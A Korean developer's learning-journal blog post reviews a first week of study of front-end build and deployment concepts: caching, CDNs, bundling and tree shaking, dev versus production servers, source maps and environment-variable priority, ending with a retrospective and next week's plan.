yarn build 다음에 yarn start. 순서가 바뀌면 에러난다. .next 폴더(빌드 결과물)가 있어야 start가 실행할 수 있기 때문이다.

📖 Day 3. 브라우저가 실제로 받는 파일은?

배운 것

Chrome DevTools의 Network 탭을 열면 브라우저와 서버 사이에서 오가는 모든 파일을 관찰할 수 있다.

Network 탭 주요 컬럼

캐싱의 원리

브라우저가 한 번 받은 파일을 저장해두고 재사용하는 것. 파일 이름 뒤에 붙은 해시값(main-abc123.js)이 바뀌면 새 파일로 인식해서 다시 받는다.

캐시 vs 스토리지 — 완전히 다른 개념

캐시는 "속도를 위한 자동 저장", 나머지는 "기능을 위한 수동 저장".

CDN = 전세계에 분산된 서버 네트워크

본사 서버의 파일을 전세계 수백 개 서버(엣지)에 복사해두고, 사용자는 가장 가까운 엣지에서 파일을 받는다. → 속도 10배 향상

S3(저장소) + CloudFront(CDN) 조합이 이미지 관리의 황금 조합.

이미지 저장 위치 판단 기준

"코드 수정 없이 바뀌는 이미지인가?"
→ YES (사용자/관리자가 업로드) → S3 + CDN
→ NO  (로고, 아이콘 등)       → 코드에 포함

📖 Day 4. 왜 번들링이 필요한가?

배운 것

번들링 없이 파일 100개를 그대로 배포하면 브라우저가 100번 요청해야 한다. 번들링하면 3~4개로 합쳐져서 4번만 요청하면 된다.

번들러 비교

Tree Shaking

안 쓰는 코드를 자동으로 삭제하는 기능.

// ❌ lodash 함수 300개 전부 포함 → 70 KB
import _ from 'lodash'

// ✅ debounce만 포함 → 3 KB
import { debounce } from 'lodash'

named import를 써야 Tree Shaking이 작동한다.

번들 사이즈가 크면?

빌드 속도가 아니라 사용자 로딩이 느려진다.

번들 사이즈 크면 → 다운로드 느려짐 + 파싱 느려짐 + 실행 느려짐
→ 3단계 전부 느려져서 사용자 로딩 길어짐

네트워크란?

브라우저 동작 전체가 아니라, 컴퓨터끼리 데이터를 주고받는 통로. Network 탭은 그 통로에서 오간 기록을 보는 도구.

📖 Day 5. 개발 서버 vs 프로덕션 서버

배운 것

yarn dev(리허설)와 yarn start(본 공연)는 6가지가 다르다.

HMR (Hot Module Replacement)

코드 저장하면 브라우저가 자동으로 바뀐 부분만 교체하는 기능. 로그인 상태, 폼 입력값도 유지된다. dev에만 있다.

소스맵 (Source Map)

압축된 코드와 원본 코드를 연결하는 "암호 해독표". 실서버에 공개하면 해커가 코드 구조를 파악할 수 있어서 비공개 유지.

환경변수 우선순위

yarn dev   → .env.local → .env.development → .env
yarn start → .env.local → .env.production  → .env

dev에서 되는데 start에서 API 안 되면? → .env.production에 값이 없거나 잘못된 것.

🧠 Week 1에서 가장 중요한 깨달음 5가지

1. 내가 쓴 코드와 사용자가 받는 코드는 다르다

.tsx 파일은 빌드 후 컴파일 → 번들링 → 압축되어서 전혀 다른 .js 파일이 된다. 사용자는 내 원본 코드를 절대 볼 수 없다.

2. 모든 최적화는 "사용자에게 빠르게 전달"을 위한 것

번들링, 압축, 캐시, CDN, 정적 생성 — 전부 목적이 같다. 사용자가 기다리는 시간을 줄이는 것.

3. 같은 코드가 환경마다 다르게 동작한다

.env 파일이 환경마다 다르기 때문이다. 로컬, 개발 서버, 실서버가 같은 코드를 쓰지만 API 주소, 설정 값은 다르다.

4. 개발 편의성과 사용자 성능은 트레이드오프

yarn dev는 개발자 편의를 위해 최적화를 포기하고, yarn start는 사용자 성능을 위해 개발 편의를 포기한다. 둘 다 만족시킬 수는 없다.

5. 모든 개념은 연결되어 있다

환경변수 → 빌드 → 번들링 → 캐시 → CDN → 소스맵. 하나하나 따로 외우는 게 아니라, 전체 흐름 안에서 각자 역할이 있다.

🔗 Day 1~5 연결 지도

[코드 작성]
    │
    ▼
[Day 1] yarn dev (localhost:4040에서 개발)
    │
    ▼
[Day 2] yarn build (컴파일 → 번들링 → 최적화 → 정적 생성)
    │                            │
    │                     [Day 4] 번들링이 없으면
    │                            요청 50번 → 있으면 4번
    │                            Tree Shaking으로 코드 경량화
    ▼
[Day 1] yarn start / devStart (서버에서 실행)
    │     │
    │     └─── [Day 5] dev와 start는 6가지가 다름
    │                  HMR, 소스맵, 최적화, 환경변수 등
    ▼
[Day 3] 브라우저가 파일 수신
    │     │
    │     ├── Network 탭으로 관찰
    │     ├── 캐시로 속도 향상 (해시로 캐시 무효화)
    │     └── CDN으로 전세계 빠른 전송
    ▼
[사용자가 화면을 본다]

📊 5일 전 vs 지금

💭 Week 1 회고

1주일 전만 해도 "포트가 뭐야?", "빌드가 뭐야?" 수준이었다.

지금은 "dev에서는 되는데 start에서 API가 안 돼요"라는 문제를 들으면 ".env.production에 API URL이 없거나 잘못된 거 아닌가?" 라고 추측할 수 있다.

가장 큰 변화는 질문하는 방식이 달라진 것이다.

Before: "이거 뭐야?" (답 달라)
After:  "이건 이런 거 같은데 맞아?" (내 이해를 검증)

단순히 지식을 외운 게 아니라, 전체 흐름 안에서 각 개념의 역할을 이해했다. "빌드가 뭐야?"에서 "왜 build와 start를 분리했을까?"로 넘어갈 수 있게 됐다.

이런 변화가 겨우 5일 만에 일어났다. 지속하면 3개월 뒤엔 정말 다른 개발자가 되어 있을 것 같다.

📚 다음 주 예고

Week 2에서는 "변환된 코드가 어디서 어떻게 돌아가는가" 를 배운다.

Day 6:  서버란 무엇인가? (AWS, Vercel, 자체 서버)
Day 7:  SSH란? 서버 접속 해보기
Day 8:  pm2 / 프로세스 매니저 개념
Day 9:  Nginx란? 리버스 프록시 개념
Day 10: 로그 확인하기

지금까지 "내 코드가 어떻게 변환되는가"를 배웠다면, 이제 "변환된 코드가 어디서 돌아가는가"를 배운다. 백엔드 개발자가 하는 일을 이해할 수 있게 되는 주간이다.

Week 2에서도 계속 기록하겠다. 화이팅!

#프론트엔드 #빌드 #배포 #번들링 #캐시 #CDN #HMR #소스맵 #환경변수 #Webpack #Vite #TreeShaking #2년차개발자 #기초다시쌓기 #Week1회고